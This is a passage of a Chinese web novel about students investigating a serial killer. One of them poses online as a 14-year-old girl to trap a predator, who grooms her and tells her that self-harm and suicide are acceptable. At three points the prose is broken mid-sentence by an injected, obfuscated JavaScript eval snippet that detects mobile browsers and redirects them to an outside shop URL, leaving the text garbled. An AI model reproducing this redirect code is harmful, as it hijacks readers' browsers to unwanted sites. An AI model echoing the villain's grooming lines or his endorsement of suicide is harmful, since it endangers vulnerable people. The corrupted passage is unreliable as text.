“我父亲死后的第二年,杰森他爸打电话给我的爷爷,说又有一起类似的案件发生了,但我的爷爷不想继续追查。艾莉偷听到了这场对话,当她转述给我的听时,我们还没有整理出受害人侧写,我凭着记忆隐约记得那几年似乎也有几起华人男性谋杀案件,因此便以为杰森父亲指的是其中一起。但我后来看了看,实际上在2005年以后,就没有符合侧写的华裔受害者出现了。那几年华裔谋杀率居高不下,但大多数都与财产或婚姻纠纷有关,杰森的父亲不可能把这些案件当成是类似的案件来处理。” “你认为他其实早就知道连环杀人案的事了?” “就算他不清楚全貌,至少这也能证明他注意到了这些案件之间的隐秘联系。仔细想想,这并不是什么不可能的事情,我当年作为一个高中生都能察觉到的事情,一个经验丰富的FBI老探员不可能不清楚。我们几个大学生就能慢慢推查出受害者的案件,他若是想查,找到证据证明对方的存在也不会有多么困难,关键在于他想不想。” “关键还在于他是什么时候发觉这些关联的,”Ming抬起眼睛,一瞬间他眼里闪过艾登无比熟悉的眉飞色舞——只有说起心理学与案件时会在他辉闪的睫毛间碰撞出的火花,然而眨眼间就如冬夜的星光般被寒冷遮掩,“如果他是在你父亲的案件后才发现这些关联,那么他打电话来或许只是为了尽一个朋友的职责,也为自己的不作为找一个合理的借口。但如果他在你父亲的案件发生以前就已经察觉了一切,那么——” “那么?” 艾登重复着Ming的话,两人对视着,类似这样的讨论此前已经发生了上千次,在数不清的猜测中,他和Ming一次又一次携手挑出最符合逻辑与事实的果实,并再度将它种入土壤,等待下一次的开花结果。重复劳作的间隙中,他们总是这样静静望着彼此,沉默并不使人尴尬,只增亲密。有那么一瞬间,艾登恍惚以为自己可以伸手紧紧握着他,不必顾虑Ming的心情或情绪,就像他们走出大都会博物馆,十指交握快步穿过纽约飞雪的街头。然而少顷,那个冷漠而拒人千里之外的Ming又从水面浮现,轻轻一皱眉,带起波澜翻涌,把他迅速推向远方。 “那么,他打电话给你的爷爷只是为了试探他。看他是否会试图为肯尼翻案,或者自己雇佣私家侦探调查这件事,只要你爷爷心中有类似的想法,杰森父亲的话无疑会使他非常心动。然而,这么一来,主动权都掌握在杰森父亲的手里,他大可以花上几个月假模假样地立案,调查,收集一些似是而非的证据,最后遗憾地告诉你的爷爷他想错了,这些案件之间根本没有关联性。在这个前提下,他愿意把这些资料交给你恐怕也是出于类似的原因,如果他拒绝你的请求——哪怕用一个无比正当的理由——都有可能招致你的怀疑。与其冒这个风险,不如坦荡地交出,一个还在念书,专业知识少得可怜的高中生是没法对他造成什么威胁的。” “如果在我父亲的案件发生以前他就已经意识到约州潜伏着一个专门针对少数族裔下手的连环杀人犯,”艾登声音放轻,如果不是他现在半副心神都放在Ming身上,说起这件事或许会让他更愤怒,而不是此刻的克制,“你认为他会是共犯之一的吗?毕竟我们先前怀疑过,这个连环杀手很有可能是在清除在他看来很有可能会投身政坛,或者某种运动来提升少数族裔权益的目标。虽说如今发现他的目标与受害者的孩子有关——但有没有可能两者皆有呢?即连环杀手在满足自己血腥的私欲的同时,也是受指示而行动的。” 可可与奶油的香气在房间中蔓延开来,甜丝丝的,一缕热气奋力从杯口挣脱,犹豫地向上飘去,氤开在Ming柔和的五官,他似乎是无意识地拿起杯子喝了一口,又无意识地放了回去。 “去年暑假,我找索夫科瓦斯基教授谈过。” 艾登记这件事记得很清楚,主要是因为第二天Ming就去给疏眠帮忙了,这事搅得他心神不宁地在床上翻来覆去想了一日,想忘记也难。彼时他还未明白自己的感情,然而回想起来,让艾登惊讶的并不是自己当时的迟钝,而是自己从多早开始便已对Min□□生了感情。自从意识到他与Ming的相识与相爱是避无可避的命中注定,从他父亲死去一刻就已在岁月尽头等待着他们,艾登每每总会产生一种错觉,仿佛在相遇以前,他便已经爱上了Ming,一切不过只等一吻以唤醒。 “我记得,你们不是谈了约州少数族裔谋杀率的异常吗?。” “谈了什么并不重要,”Ming摇了摇头,冬阳给他的发色镀上一层乌鸦尾羽般的蓝黑色彩,“重点在于当时索夫科瓦斯基教授对我提出了一个警告——因为我与她之间的谈话牵扯到了杰森父亲。她不希望我继续调查杰森的父亲,还跟我说好奇心会害死猫,也会害死人,意思是如果我继续调查下去,很有可能会惹麻烦上身。” “索夫科瓦斯基教授调查过杰森的父亲?” “是的,为了要撰写她的那本著作。但她后来临时决定将与约州有关的一切内容都删去,换成了加州,我认为这与杰森的父亲有关。我当时就觉得不对,索夫科瓦斯基教授应当明白我是为你父亲的谋杀案而调查的,对政治丑闻并不感兴趣,即便发觉了我也不会声张。即便如此她仍然警告了我。如今回想起来,或许她早就知道杰森的父亲与你父亲的谋杀案有牵连,知道如果我们想要继续追查下去就有可能牵扯出一些不该被我们知晓的秘密,只有这样才说得通。” “但索夫科瓦斯基教授是不会把她发现的事告诉我们的,为了她的家人和工作,她不会说的,我们也不应该逼迫她说。” 艾登苦笑了一下。他此刻出奇地平静,就连笑容的苦涩也如溪水般平缓,而非飓风般激烈。去年夏天他还会因为爷爷早就知道肯尼是无辜而怒不可遏,失望如火山喷发般覆盖了原本如春天花园般不谙世事的内心。然而,如同人类一遍又一遍地在废墟上重建自己的文明,他如今也同样在重重死灰上摸索着复构了自己的世界,它苍茫,幽暗,只留下了一个人的脚印与身影,但在荒芜中诞生了一股比先前强大得多的力量,如同四处蔓延的野火终被收归炉膛,在黑铁中无声燃烧,热力逼住了曾经肆无忌惮的冲动,无妄的盛怒与不必要的痛苦,冷静是灰烬中唯一的仅余。 “所以,到头来,其实结论与我和艾莉得出的一样——我们只能在一个人身上找到突破点,只有这个人能让我们知道杰森父亲是什么时候察觉了连环杀人犯的存在,或者是否与连环杀人犯之间存在联系。再不济,从他身上,我们说不定可以探听到足以让杰森父亲开口讲出事实的证据。只要我们掌握了三点中的其中任意一项,都能迅速拉近和真相间的距离。” 艾登没有说出对方是谁,但Ming的脸色已经变了,他不自然地撇过头去,好像突然对杯子里剩下的可可产生了极大的兴趣。 “不过,也不是说我们就没有别的选择了,”艾登抬起头,看着Ming轻微上下移动的喉结,放柔了声音,“我们可以按照原来的计划,一家接一家地探访,询问,确定他们的孩子是否还记得在葬礼上与凶手碰过面,同时也要确定他们是否有自残行为,艾莉说不定能在这一点帮上忙……” “这样效率太慢了,也不太可靠,”Ming过了好一会才开口,声音又轻又尖细,就像被谁踩了尾巴又不敢声张,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041268|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们探访受害者家庭是为了确定这些案件之间的联系,同时着手开始总结连环杀人犯的心理侧写,这花的时间远远要比坐在家里凭着案件资料总结出受害者侧写长得多,也难得多,可与凭空想象一种不存在的颜色,或者摸黑描绘出一件人不曾见过的事物的难度媲美。” “再难,慢慢来总能摸到一点门道的。” “数个顶尖并且训练有素的行为科学调查组探员一起努力,从已知是由同一个杀手所为的连环谋杀案件中摸索出一个准确率在百分之四十以上的心理侧写,也要一个多星期,甚至是数个月的时间。”Ming稍微提高了一点声音,语气也稍稍激动了几分,艾登不知道他到底是打算说服自己,还是打算说服他自己,“更何况,记忆是非常容易受到误导的,我虽然读过与询问技巧有关的书,但这方面的犯罪心理学知识要等到研究生实习时才会正式教授,在这种情况下,我没有把握肯定我们从受害者的孩子口中问出的回忆内容一定是真实的。我不知道你发现了没有,但我们筛查出的受害人的孩子在事发当时年纪都很小,没有任何一个超过十岁,那个年龄的记忆本来就不稳定,尤其是在经受创伤后。” “即便是这样,只要你一句话,我就愿意用老办法,再慢再难也无所谓。” 艾登平静地说道,他是认真的,只要Ming这时候看他一眼,也会明白这一点。 只要Ming表示点什么,甚至不需要是一句话,只是短暂含糊的嘟哝,或者匆匆慌乱的眼神,他就愿意放弃布雷特·希尔这来之不易的突破口,就当这条线索从未出现过一般,继续照老计划调查他父亲的案件。 当然,这不代表他会包庇布雷特·希尔的罪行,迟早有一天——艾登在心中已经为此发了千百万个毒誓——他绝对会亲自将布雷特·希尔,还有杰森的父亲绳之以法,让他们为所有自己犯下过的罪付出应有的代价。这不仅是为了Ming,也是为了他的父亲,更是为了他所选择的这条路——Criminal Justice,bring criminal to justice,那是他将毕生为之努力的目标。 但在科尔·埃弗里的影响力彻底从约州消散以前,这都将是一条漫长而艰辛的道路。 他宁愿在自己亲手一石一土开凿的隧道尽头迎来正义,也不愿从Ming的伤疤下挖出一条捷径,两者都会让他的指头鲜血淋漓,然而意味却完全不同。 “只要你一句话,Ming,我们就再也不必提起他。” Ming伸手从桌上拿下了那杯热可可,握着勺子轻轻搅拌着,巧克力与奶油的甜香融为一体,像转动八音盒发条后流淌出的音乐般充斥着整间房间。他的神情是那么专心致志又严肃,会让人以为他正在处理的是核废料,或者是一杯需要精心调制的毒药,时不时地,他还会拿起勺子,看奶油和可可打着旋地从勺子上滴落,半路中汇集在一块,切割出数十条浅棕色的河流。他另一只托着杯子的手偶尔会抬起来,轻轻摩挲着杯壁上浮雕着的圣诞树。 圣诞节距离现在好像已经过去了一万年,在星夜深处炸开的圣诞节烟火将他们的生活一分为二,一边的Ming站在那个飘雪的深紫色夜晚,等待着他走上前去亲吻,哪怕一整个世界都横亘在他们中间,艾登也有信心跨越一切;另一边的Ming触手可及,却永远无法逾越那近在咫尺的距离,如同高中时他们彼此的距离不过八十英里,却活在两个完全不同的世界里。 艾登耐心等待着。 “你想过怎么利用这个突破点吗?”抚摸杯子的手突然停了下来。 “想过,准确来说,艾莉想过。”艾登想的更多是Pedophile会在监狱里受到什么待遇,“她打算假扮成一个14岁的女孩——这对她来说不难——然后在自残论坛上发帖,假装自己是个叛逆厌世,抑郁焦躁的少女,好引起布雷特·希尔的注意,并与对方搭上线。如果他给她发了露骨的消息,照片,或者将她约出来见面,我们就能掌握到足以立案调查并将他送进监狱的证据了。当然,在这个过程中,如果艾莉能取得他的信任,她也会打听与科尔·埃弗里有关的消息,至于具体要怎么做,只能看到时对方会怎么回复了。” “科尔·埃弗里会想尽一切办法阻挠诉讼的,你知道他能做到什么地步。” “如果他自身难保的话就不会了。我和艾莉都怀疑布雷特·希尔会与科尔·埃弗里分享猎物,因为那个在网站上求助的女孩的确提到她被带到一个派对上了——” “你打算让艾莉去?她一眼就会被科尔·埃弗里认出来的,不管她的化妆技术有多么出神入化。” “我已经考虑到这一点了,如果事情真的发展到了那个地步,我们不会让艾莉去的。”艾登说,“疏眠会去,这年头十四岁的女孩早熟得很,艾莉14岁的时候就已经跟疏眠一样高了,他们不会因此起疑心的,而疏眠也知道怎么应付这种场合,怎么保护自己,她比艾莉更适合这个任务。” Ming终于转过头来,视线对上的那一刻艾登微微一震,“有我在,”他不知怎么地突然说出了这句话,语气里的那种坚定是少年人所独有的,艾登明知道只有年轻的时候才会相信凭一个人的臂膀能护另一个人周全,才会相信一生一世一双人这种话,但他此刻确实全心全意地相信着,“Ming,有我在。” 这句话与“我爱你”,相差无几,却似乎更沉重。 Ming缓缓举起手,喝完了杯子里剩余的可可。艾登自然地站起身接过杯子,伸手扯了张纸巾,想替他擦掉嘴唇上沾到的一点巧克力。他伸出手的那一刻迟疑了一秒,但Ming没有躲开,于是污渍被轻缓地拭去,艾登动作温柔得仿佛是以指尖亲吻Ming的唇角。 “那就这样吧。” 艾登收回手的那一刹,Ming开口了。 “那就按照这个计划来吧。” 92. Chapter·Thirty-Nine 布雷特·希尔发来消息的时候,艾莉正缩在床上,套着宽松厚重的毛衣,双手埋在盖着毛毯的电脑屏幕下面,盲打着她的社会学数据报告,时不时张口打个哈欠。 约州的三月下旬仍旧寒冷,但艾莉就喜欢这样的天气,她把房间里的暖气关了,窗户打开一条缝,任由尾冬带着陡峭严寒占据房间的每个角落。依靠衣物被褥取暖,不知为什么能给她比用暖气取暖更强烈的成就感,仿佛只有这么做,才算是在过冬。 看到那个所有人等待已久,都早已放弃希望的ID突然出现在屏幕的右下角,带着简短的一句“Hi:)”时,艾莉惊叫一声,浑身一抖,险些让电脑从床上滑下去,她一把将笔记本捞住,手忙脚乱地从层层叠叠的毯子下钻出来,哆嗦着跳进书桌前那张宽大的扶手椅里,同时手指颤抖着摸索口袋里的手机。 “你绝对不会相信谁给我发消息了。”收件人是疏眠。 “老天,别跟我说是布雷特·希尔?”回信来得极快,紧接着又是一条,“确定吗?” “确定。”太急着回复,艾莉险些没把手机拿稳,“百分之一百确定。” “赶紧告诉艾登和Ming。” 艾莉刚想回一句“好”,临到要发出,又犹豫地删掉,“我不确定这是一个好主意。”她一个字母一个字母地缓缓打着,仿佛不相信iPhone键盘上自动弹出的完整单词能表达她的意思。 两个月了,从她建立“YasmineJ2002”这个引诱布雷特·希尔上钩的小号以来,已经过去两个月了。 一开始,所有人(除了Ming)都斗志昂扬,摩拳擦掌地等待着布雷特·希尔一无所觉地走进这精心为他准备的陷阱,尤其是艾登,简直恨不得对方一露面就将他扭送进监狱,让他尝尝Pedophile在铁窗后会遭受怎样的待遇。 短暂的几天准备后,“YasmineJ2002”很快就开始在自残论坛活跃起来,说着年轻一代才会使用的网络语言;尖酸刻薄地挖苦着任何不是非黑即白,或者对错鲜明的观点;戾气十足地回击着任何企图与她讲道理的成年人的观点“过时,老气,早该入土,政治完全不正确”;为了显摆自己在这个年纪懂得如何骂人而大量使用各种难听得像个老水手般的粗口;以自己鲜血淋漓的自残伤疤引以为豪,发帖时会不厌其烦地用韵律混乱,杂糅暮光之城与五十度灰的矫情句子来一遍遍地阐述自己的丧父之痛—— 简而言之,就是表现得像个典型得不能再典型的,被宠坏了的,自以为是,幼稚愚蠢,不知如何发泄心中痛苦的Gen Z。 就连Ming也同意,布雷特·希尔根本不可能识破这个身份。 他的认可让其余人的信心大增,艾莉几乎把所有学习以外的时间都投入到了“YasmineJ2002”这个身份中;艾登会每天发好几条消息来问问布雷特·希尔出现了没有,尽管他非常清楚只要对方一出现,艾莉就会立刻告诉他;疏眠会花上好几个小时跟艾莉讨论一旦抓住布雷特·希尔,她们应该联系哪些女律师为那些曾经遭受他毒爪的女孩辩护。 U大兄弟会性侵案还处于漫长的上诉流程中,要等明年三月才能开庭审理,但她们已经借这个案件接触到了不少有志于维护妇女儿童权益的优秀女性律师,光是要怎么从这个名单里挑选出一支强有力律师团队,就足够疏眠和艾莉说上好几天。他们那时候都坚信着,不出一个星期,至多不超过十天,布雷特·希尔一定会来打招呼的,过去他盯上猎物的速度总是很快。 半个月,三个星期,一个月,每过去的一天都在把神经如纤绳般往淤泥里拉扯,越拉越细,越绷越紧,无处下脚的成万上亿个神经元只好全都挤在纤如蝉须般的三分地上,逼得人越发神经兮兮。最折磨人的不是布雷特·希尔的沉默,而是对自己的质疑,就像一个自觉身体健康的病人面对医院久久不出的检查单时的焦虑,没人会去怀疑医院办事不力,怀疑自己的单子被弄丢了,怀疑医生出错了,只会开始考虑自己是不是生了什么无法言说的大病,猜测墙壁背后说不定有十几个医生正在讨论如何将坏消息告诉自己。这种想法如同白蚁,一旦来了便无法根除,深夜总在耳旁窸窸窣窣地啃食理智。 伴随着理智一起被消磨的还有热情,渐渐地,疏眠不再提起布雷特·希尔的案件,转而开始跟进U大兄弟会性侵案;艾登重新拾起了他“传统式”的破案方案,每天下课后不是和Ming一块在韩国甜品店整理信息,就是走访潜在受害者的家庭;短信从一天几条减少到几天一条,再到彻底不发。只有艾莉还有一搭没一搭地用“YasmineJ2002”偶尔发个帖,回一两句话,跟自己眼熟的用户打声招呼。留着这个身份,或许以后能派上用场,这是唯一支持她坚持下去的想法。 但此刻让她犹豫的不是艾登倦怠的态度,而是Ming。 其余三人的投入被毫无回应的现实持续消减的同时,只有Ming的状况慢慢好了起来,似乎布雷特·希尔重新在他生活中出现的可能性越小,他的活力就越多。上次艾莉过去作客的时候,Ming难得的没有躲在房间里,避而不见任何人,他下楼来为自己倒了杯水喝,礼貌地向她和疏眠打了声招呼,随意地闲聊了几句。偶尔,他瞥向艾登时,眼里的冷漠甚至有些许融化的迹象。 “你担心Ming会变回之前那种冰冷疏离的模样,让艾登再一次心碎。”疏眠马上就领会了艾莉的意思。 “不止如此。”艾莉盯着电脑屏幕上布雷特·希尔的头像,灰色的底图上画着白色的心跳电图,不像一般中年男性的选择,这是他极少使用的几个小号之一,“我觉得,布雷特·希尔之所以等了两个月才来接近我,是因为他预感到这个账号后面躲着的人……可能是一个对他极为了解的老相识。” “Ming不是说过他绝对不会识破吗?” “他也许猜不出指挥这个账号的人是Ming,”艾莉一只手在手机屏幕上飞快地点击着,另一只手则在键盘上也敲了一个“Hi”,回复布雷特·希尔。她知道自己不应该在没有得到Ming的指示时就主动跟对方说话,这和他们最初约好的计划不相符,但她直觉这么做或许会更好,“但他可能察觉到了这个账号的不对劲——Ming异常渊博深厚的心理学知识就算不是完全来自于他,至少也与他有所关联,也许他就是通过这一点发现了什么端倪。然而这几个星期以来这个账号一直由我单独打理……” 她没打完后面的话就按了发送,因为布雷特·希尔的回复来了。 “我喜欢你发的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041269|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些帖子。” 手指在桌面上轻轻敲了敲,艾莉又低头看向手机,疏眠的下一条信息冒了上来,“你想要自己一个人应付布雷特·希尔?” “我只是随便写了点东西,没什么好看的。”YasmineJ2002是个浑身是刺的叛逆少女,不会因为陌生人的一点恭维就受宠若惊。艾莉迅速敲下了这些话,又加上了一个耸肩的表情,才转而去回复疏眠。 “不是一个人应付,”她简要地写着,“是我和你。” 刚按发送,电脑便“叮”了一声。 “我看到你的资料里是白羊座,但我猜你实际上是天蝎座的,内心孤傲又坚强,没什么能摧毁你,我能从你的文字中看出这一点。” 艾莉倏然一惊,她确实是天蝎座的,但她不确定这到底是巧合,还是套话,艾莉随便为YasmineJ2002挑选了一个生日,从来没考虑过对应的星座与她本身的性格是否匹配这件事——她从来就不相信星座这些事。 但还没等她来得及想好要怎么回复——“你怎么知道的?”听着有点傻气,“我确实是天蝎座的。”又有点过于乖顺,“你猜错了。”又可能中断这好不容易建立起来的对话——又一条消息弹出了。 “知道怎么隐藏自己并不是坏事,你懂得如何保护自己,你很聪明。” 该死的老油条。艾莉在心里骂了一声,用手机把聊天界面拍了下来,发给疏眠看,“这么一套招数下来,根本没有哪个14岁的小女孩可以抵挡得住。”她愤愤地打着字,指甲把手机屏幕敲得啪啪响,“一想到我还要装出一副被他攻陷了的样子,都要恶心吐了。” “别忘了,Ming分析过,布雷特·希尔喜欢的猎物是那种外强中干型的女孩。”疏眠提醒着她,“适当的暴露出一点脆弱很重要。” “嗯。”手机随即息屏,滑进毯子与座椅的缝隙间。 艾莉深吸了一口气,一个内心脆弱的14岁女孩这时候会说些什么?她漫不经心地想着,这就像在戏剧课上把自己代入角色一样简单。YasmineJ2002没有父亲,从来没得到过身边任何人的关注和认可,在家里不受重视,乖戾的表面下她孤单,痛苦,又渴望爱;她心中堆积着无处可去的仇恨与痛苦,唯一的发泄方式,就是在肌肤上用锋利的小刀细细地拉出一道血痕,以疼痛对抗疼痛,以神经的尖叫对抗灵魂的嘶吼,以一种沉默的自我折磨,对抗另一种无声的自我拷问…… 被从窗缝吹入的寒风冻得有些僵硬的手指在键盘上停住了,艾莉感到自己被裹在厚重毛衣下的身体结冰了,网页上的Varela字体好似一瞬间被人加粗放大,占据了整个屏幕。她想象的是一个孤僻的拉丁裔女孩,有着纤细的四肢与曲卷的髦发,可从那蓬乱的刘海下冒出的脸却是一张苍白的东方面孔。“我能从你的文字中看出这一点。”这句话如蛇般钻进她的瞳孔,扎根进她的脑子里,艾莉仿佛能听见遥远的某个角落里,那个病恹恹的男人发出的黏腻轻笑,手指有规律的敲击着木头桌面,YasmineJ2002写下的所有文字整齐并列在他的电脑屏幕上,可那不过只是拙劣的伪装,像酒鬼的谎言一样能被轻易看穿—— 在那一刻,艾莉突然意识到,布雷特·希尔实际上是在与14岁时的她说话。 93. Chapter·Forty “这样太危险了,我们必须马上停止。” 握着手机的指尖倏然收紧,艾莉愕然地抬起头来。自从疏眠把电脑从她手上接过去,开始细细阅读起每一条布雷特·希尔与她的聊天记录以后,沉默持续了太久,她似乎已经注视着疏眠窗台上那盆害羞的多肉植物长达一个世纪,却始终没法看清楚它的模样,只能瞧见一团模糊的翠绿边缘有层淡淡的粉色,便由此得出了害羞的结论。她的双眼拒绝聚焦,心思全都粘稠在手中冰冷的那块金属物体上——它随时会轻轻一震动,带来布雷特·希尔的下一条消息。 “我的小鸟,”他有时会这么喊她,“你今天感觉怎么样?” 第一次收到这类消息的时候,艾莉嗤笑了一声,再附带一个大大的白眼。是的,没错,布雷特·希尔很厉害,她的伪装就像在荒野上独自徘徊的猎物,在猎手眼中无所遁形,不堪一击。但他不会真的以为,一个十四岁的女孩轻易就会被几句问好所打动吧? “别小看他。”当艾莉把她的想法告诉疏眠时,后者警告她。“布雷特·希尔能蛰伏多年,频频得手又不被人发现,靠的不仅仅是他与科尔·埃弗里之间的关系。Ming被他伤害,却绝无可能站出来指证他的罪行,就是证据之一。” “我不是Ming。”艾莉反驳了一句。我比Ming要坚强得多,这句话却终究没说出来。要是我现在遭到了与Ming同样的遭遇,那时她心想,我会不惜付出一切代价,也要将他绳之以法,亲眼看见他得到法律应有的制裁。 然而,这个想法只盘踞了短短一秒,便被无情地撕裂成了碎片,前一秒还让她心中略有自得的坚毅下一秒好似成了死于瘟疫中的病马,泛蓝的惨白眼珠从半腐烂的头骨上直勾勾地看着她。艾莉不得不转过头去,才能避开那散发着恶臭的视线,才能不令疏眠发现她的脸色在一瞬间变了——你根本没有这么做。布雷特·希尔滑腻嘶哑的声音在她耳旁响起,黏腻轻笑如潮湿的舌尖舔舐着她的耳道。你会宁愿自己现在的生活就跟Ming一样悲惨,甚至比他悲惨一百倍,也不愿失去你的父亲,可你什么都没做。放不下他的死亡,发誓要将真相追查到底是艾登,而不是你,你从头到尾扮演的都是一个被惯坏了的富家千金,以为有daddy issue就有了通往全世界的free pass。 不是这样的,艾莉,绝对不是这样的。 她用轻快的语气这么安慰着自己,强迫自己把注意力转移到别的事情上——疏眠穿的这件毛衣真好看;奶奶今晚要做鱼头豆腐汤喝;洛克希下周要去体检,希望报告上显示一切都好——这种温馨而微小的细节总是能让她确认自己的生活仍旧按照一定的秩序缓慢前进,假装那个被父亲的死亡,被无可挽回的愧疚撕扯出巨大裂口的黑洞并不存在,假装那个任性的,逼迫父亲不得不去商场买礼物赔礼道歉的不孝女儿从不存在,哪怕只有一秒。 而布雷特·希尔让这一秒延长为一分钟,让一分钟延长为一个小时,让一个小时延长为一天。 艾莉不知道他是怎么做到的,他的入侵如此温柔又纤细,像从指尖上游过的柔软皮毛,反手去抓时总是落空,却又仍旧记得那顺滑的触感,明知沾染毒液,可还是忍不住渴求再一次的触碰。 起初,只是日常的聊天:“我打赌你今天穿得一定很漂亮。”“跟我说说你的一天吧。”“你的演讲真是太棒了,小鸟。”疏眠警告过她,艾莉却很难不对这些短信嗤之以鼻,她只看心情回复,反正一个十四岁的女孩——无论是艾莉本身亦或是Yas|mineJ2002——都不可能跟一个落伍的中年人在短信里事无巨细地描绘自己的生活。甚至,为了增加可信度,艾莉有时会隔好几天才懒洋洋地回复一条信息。谨慎地保持距离,这总不算是小瞧对手,她那时心想着。 但这距离每天以慢得不可思议的速度渐渐缩小着。布雷特·希尔记得每一件艾莉提起过的事情——不管是多么微小的细节。只要稍稍出现自相矛盾的地方,他便会立刻察觉。尽管他从不明说自己的质疑,从未发过任何类似“亲爱的,上周你可不是这么告诉我的”这般的短信,但他的语气,他的态度,他那如同一只多疑的苍蝇正在抖动的触须般敏锐,探索着看似光滑的包装表面,寻找着能够钻入产卵的缝隙的文字,都会让艾莉立刻警觉,寒气如锐利剃刀般沿脊背而下,每根汗毛都僵直着,跟僵直在键盘上空的手指一样,徒劳无功地替自己辩护着。 这种事情发生了一次,两次,艾莉终于无可奈何地意识到,想要避免这样的意外,想要让布雷特·希尔真的确信他在与一个十四岁的女孩——无论是艾莉本身还是Yas|mineJ2002——聊天,就只能分享真实的生活,即便有时候这与Yas|mineJ2002在网上展露出的形象不一致。艾莉已经尽可能地为Yas|mineJ2002勾勒出一个真实的世界,有着上百个文档记录这个虚拟角色身边的人事物及背后的故事,可她毕竟不是布雷特·希尔这样的心理学大师,能够捕捉到哪怕是一丝她构建的人物中存在的性格破绽。真实的人类活动背后总有一定的心理学原理和逻辑可循,然而从未受过这方面专业训练的艾莉根本做不到面面俱到。 布雷特·希尔很清楚Yas|mine只是紧裹在野兽身上,被女巫施展了咒语,暂时能令动物化为人形的斗篷,还是放纵艾莉在伪装下纵情妄为。当艾莉开始将她的现实生活融入Yas|mineJ2002的捏造剧本中后,他一次也没有质疑过那些基由现实组成的故事片段,相反,他会对这些片段倾注极大的兴趣——比那些艾莉伪造的情节多得多的兴趣。这种程度的泾渭分明让艾莉毛骨悚然,就像无线电爱好者在随机调频,却找到了一个正在低声诉说着自己一生将要发生的种种事件的频道般让人寒毛直竖,可她对此无能为力,不仅仅是因为一旦开始分享真实生活,除了让越来越多的真实细节填补进那些由虚伪的笔尖勾勒出的方框外别无选择,也是因为—— “布雷特·希尔很理解你。” 疏眠的声音再次响起,她怀抱着艾莉电脑的手臂白皙细嫩,一看就是刚从冬日的束缚中挣脱出的颜色。约州已经到了能穿短袖的季节了,但艾莉紧紧缠绕着自己的双臂还是能在肌肤上感受到丝丝寒气,就像布雷特·希尔第一次给Yas|mineJ2002发来信息那天晚上,她在厚重的毛衣下面所感受到的洌风。 “从这些聊天记录来看,我甚至能这么说——他是这个世界上唯一能让你觉得他理解你的人。艾登不是这个人,我不是这个人,Ming更不可能是这个人,更别说你的家人们了。只有布雷特·希尔。” 艾莉没有搭话,她的头低着,视野中只有反光的黑色镜面,手指紧紧扣着边缘——它随时会轻轻一震动,带来布雷特·希尔的下一条消息。 “是不是,艾莉?” 不是的。艾莉想反驳,声音却背叛了她微弱犹豫的心思,仿佛更忠于某个更上一层的意志,在那儿,另一个艾莉坐在由十七把刀锋铸成的王座上,每一寸肌肤都被划得鲜血淋漓,伤口不断愈合,留下白色的疤痕,又不断被割开。布雷特·希尔站在她面前,双手轻柔地搂着她的肩膀。“这样也没关系,”他黏腻的声音在殿宇中回荡,像圣诞节时父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041270|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢听的,从车载电台中传出的有些沙哑的圣歌,单调肃穆,却额外让人觉得安心,“小鸟,即便你死掉也没关系,毕竟,的的确确是你害死了你的父亲。你们中国人相信人生来就欠父母一条性命,哪吒尚要剔骨割肉才能与父母断绝关系,你间接谋杀了你的父亲,这要多少血肉才能还清?” 血淋淋地说出残酷事实的是他,可是柔声告诉自己,他完全能理解那种感受,承受不住那种愧疚而自残,而自杀是完全能接受的也是他。每个人都该好好活着,这句话就是谎言,他说出了艾莉不敢说的话,有些人并不值得好好活着,我也是,你也是。 如此坦荡,如此怪异,又如此寻常。 “他不仅知道Yas|mineJ2002是你的伪装,他也知道你接近他是为了什么——这就是为什么这几个月聊天记录里清楚显示了,他从未试图掩盖过他的本性,因为只有这样才能让你真正放下防备。布雷特·希尔很清楚,不,他很笃定,即便你知道他是个多么可怕的人,你也仍然会接纳他的存在,因为他理解你,他让你能够做自己,让你能够从对抗害死父亲的愧疚中解脱出来,只这一点就能让你克服对他本性的恐惧和厌恶。我警告过你,艾莉,但看来小看了布雷特·希尔的人是我,我早就察觉你有不对了,但我一直相信你,相信你知道了他对Ming做了什么事以后不会轻易沦陷。我没有料到——我没有真正意识到——艾莉,你在听我说话吗?这些聊天记录已经表明了布雷特·希尔对你是势在必得,他——” 手机突然震动了一下,屏幕亮起,一串没有名字的号码倏地冒出,艾莉不需要备注这个来信者,她对这十位数字再熟悉不过,甚至能倒背如流。 “下周日,到这个地址来,那儿会举办一场非常棒的派对,相信我,你一定会喜欢的。” 紧接着,又是一条。 “很高兴终于能与你见面了,我的小鸟。” 